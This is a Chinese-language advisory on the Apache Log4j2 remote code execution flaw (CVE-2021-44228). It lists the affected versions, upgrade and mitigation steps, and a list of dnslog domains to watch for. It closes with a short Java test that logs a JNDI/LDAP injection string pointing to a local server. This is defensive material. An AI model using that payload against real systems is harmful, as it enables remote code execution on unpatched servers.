漏洞描述
Apache Log4j2是一款优秀的Java日志框架。2021年11月24日,阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏洞。由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响。
漏洞评级
CVE-2021-44228 Apache Log4j 远程代码执行漏洞 严重
影响版本
Apache Log4j 2.x >=2.0-beta9 且 < 2.15.0
注:Apache Log4j 1.x 版本不受此次漏洞影响。
安全建议
1、排查应用是否引入了Apache log4j-core Jar包,若存在依赖引入,且在受影响版本范围内,则可能存在漏洞影响。请尽快升级Apache Log4j2所有相关应用到安全 log4j-2.15.0 及其以上版本,地址 Log4j – Download Apache Log4j 2
2、升级已知受影响的应用及组件,如 spring-boot-starter-log4j2/Apache Struts2/Apache Solr/Apache Druid/Apache Flink
3、临时缓解方案。可升级jdk版本至6u211 / 7u201 / 8u191 / 11.0.1以上,可以在一定程度上限制JNDI等漏洞利用方式。对于大于2.10版本的Log4j,可设置属性log4j2.formatMsgNoLookups 或 环境变量 LOG4J_FORMAT_MSG_NO_LOOKUPS 为 True。对于>=2.0-beta9 且 <=2.10.0 版本,将 JndiLookup 类从 classpath 中去除,例如 zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class 。 对于 >=2.7 且 <=2.14.1 版本,对于所有的 PatternLayout 可设置其格式为 %m{nolookups} 而不仅仅是 %m
漏洞利用无需特殊配置,经阿里云安全团队验证,Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响。2021年12月10日,阿里云安全团队发现 Apache Log4j 2.15.0-rc1 版本存在漏洞绕过,请及时更新至 Apache Log4j 2.15.0 正式版本。阿里云应急响应中心提醒 Apache Log4j2 用户尽快采取安全措施阻止漏洞攻击。
临时防护
从官方给的信息和复现情况来看,利用手段是jndi注入无疑,jndi注入无非ldap、rmi,需要外连请 求Idap-server/exp-server,禁止外连能在一定程度上缓解,但是不能防御攻击者已控其他内部服务 器的情况。此外,JDK11.0.1、8u191、7u201、6u211或者更高版本默认是无法利用JNDI注入,JDK6u141、7u131、8u121或者更高版本无法利用RMI注入,网 上的一些bypas s方法也是依赖本地特定的lib(相当于找了新的gadgets),所以总结:
1、禁止使用Iog4j的服务器外连(日志服务器正常不需要外连), 并在边界对dnslog相关域名访问进行检测。 部分公共dnslog平台如下:
- ceye.io
- dnslog.link
- dnslog.cn
- dnslog.io
- tu4.org
- awvsscan119.autoverify.cn
- burpcollaborator.net
- s0x.cn
2、建议JDK使用高版本
3、添加jvm启动参数:-Dlog4j2.formatMsgNoLookups=true
4、在应用classpath下添加log4j2.component.properties配置文件,文件内容为:log4j2.formatMsgNoLookups=true
5、将系统环境变量 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为 true
验证方法:
其验证思路,是创建一个jndi:ldap的server端,代码请参考文档JNDI之初探LDAP - FreeBuf网络安全行业门户
客户端验证的代码很简单,写一个main方法,同时配置好log4j2.xml,即可验证。调用lookup方法主要是log4j2在MessagePatternConverter进行格式化message的时候,调用的StrSubstitutor对象引发的。
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class Log4j2LookupTest {
private static final Logger logger = LogManager.getLogger(Log4j2LookupTest.class);
public static void main(String args[]){
logger.info("${jndi:ldap://127.0.0.1:1389/#Th3windObject}");
}
}
参考文档
引用:JNDI之初探LDAP - FreeBuf网络安全行业门户